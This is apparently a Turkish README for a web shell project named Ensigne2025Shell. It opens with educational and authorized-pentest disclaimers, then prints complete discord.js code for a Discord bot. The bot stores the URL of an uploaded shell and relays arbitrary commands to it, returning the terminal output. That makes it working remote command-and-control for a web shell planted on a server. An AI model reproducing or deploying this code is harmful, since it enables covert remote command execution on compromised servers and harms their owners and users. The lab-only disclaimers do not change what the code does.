Ensigne 2025 Web Güvenliği İçin Yazılmış Açık Kaynak Kodlu Bir Shelldir.
Kısa açıklama:
Ensigne2025Shell eğitim / araştırma amaçlı, yerel lab ortamlarında kullanılmak üzere geliştirilmiş bir proje iskeletidir. Projeye ait kod bazı komut çalıştırma örnekleri içerebilir — bu nedenle sadece izinli, izole laboratuvar ortamlarında kullanılmalıdır.
Bu proje sadece eğitim, araştırma ve yazılı izin ile yapılmış penetration test (pentest) çalışmaları içindir.
İzinsiz bir hedefe karşı bu projeyle herhangi bir işlem yapmak yasadışıdır ve ciddi hukuki sonuçlar doğurabilir.
Repoyu klonlayıp kodu çalıştırmadan önce aşağıdaki kriterleri sağladığından emin ol:
- Bu yazılımı çalıştıracağın hedef üzerinde açık, yazılı izin sahibisin; VEYA
- Tamamen izole edilmiş bir test-lab (localhost, VM, container) ortamında çalışıyorsun.
- Ağ üzerinden erişim veren özellikler varsayılan olarak kapalıdır (ayrıntılar aşağıda).
- Kodu çalıştırmadan önce
CONFIG.mdveya ilgili konfigürasyon ayarlarını dikkatle incele.
Eğer bu kurallara uymuyorsan, projeyi çalıştırmamalısın.
Bu README, proje ile ilgili:
- ne olduğu ve riskleri,
- güvenli/izole bir ortamda nasıl deneneceği,
- hangi ayarların tehlikeli olduğu (ve nasıl kapatılacağı),
- sorumlu açığa çıkarma adımları hakkında açık talimat verir.
Not: Aşağıdaki adımlar yalnızca LOCALHOST veya izole VM/container (ör. VirtualBox, Docker network izole) için verilmiştir.
- Depoyu klonla:
git clone https://github.com/<kullanici>/ensigne2025shell.git
cd ensigne2025shellİletişim İçin Discord: ensigne
Sistem ayrıca discord.js uyumludur. Bot oluşturup sohbete **.!backlink <url(yüklediğiniz shellin linki)> ** yaptıktan sonra .!ensignedoor ile discord üzerindende shelli kontrol edebilirsiniz.
İŞTE DİSCORD JS KODLARI
const { Client, Intents } = require('discord.js');
const fetch = require('node-fetch');
const client = new Client({ intents: [Intents.FLAGS.GUILDS, Intents.FLAGS.GUILD_MESSAGES] });
const token = 'YOUR_BOT_TOKEN'; // Bot tokenınızı buraya yazın
const userBackendUrls = {};
client.once('ready', () => {
console.log('Bot hazır!');
});
client.on('messageCreate', async (message) => {
if (message.author.bot) return;
if (message.content.startsWith('.!backlink')) {
const url = message.content.replace('.!backlink ', '').trim();
if (url) {
userBackendUrls[message.author.id] = url;
message.reply(`Backend URL'si başarıyla ayarlandı: ${url}`);
} else {
message.reply('Lütfen geçerli bir URL girin.');
}
}
if (message.content.startsWith('.!ensignedoor')) {
const userId = message.author.id;
const url = userBackendUrls[userId];
if (!url) {
return message.reply('Önce backend URL\'sini ayarlamanız gerekiyor. Lütfen .!backlink <URL> komutunu kullanın.');
}
const command = message.content.replace('.!ensignedoor ', '');
try {
const response = await fetch(url, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
command: command
})
});
const data = await response.text();
message.reply(`Terminal Çıktısı:\n${data}`);
} catch (error) {
console.error('Komut gönderme hatası:', error);
message.reply('Bir hata oluştu, lütfen tekrar deneyin.');
}
}
});
client.login(token);
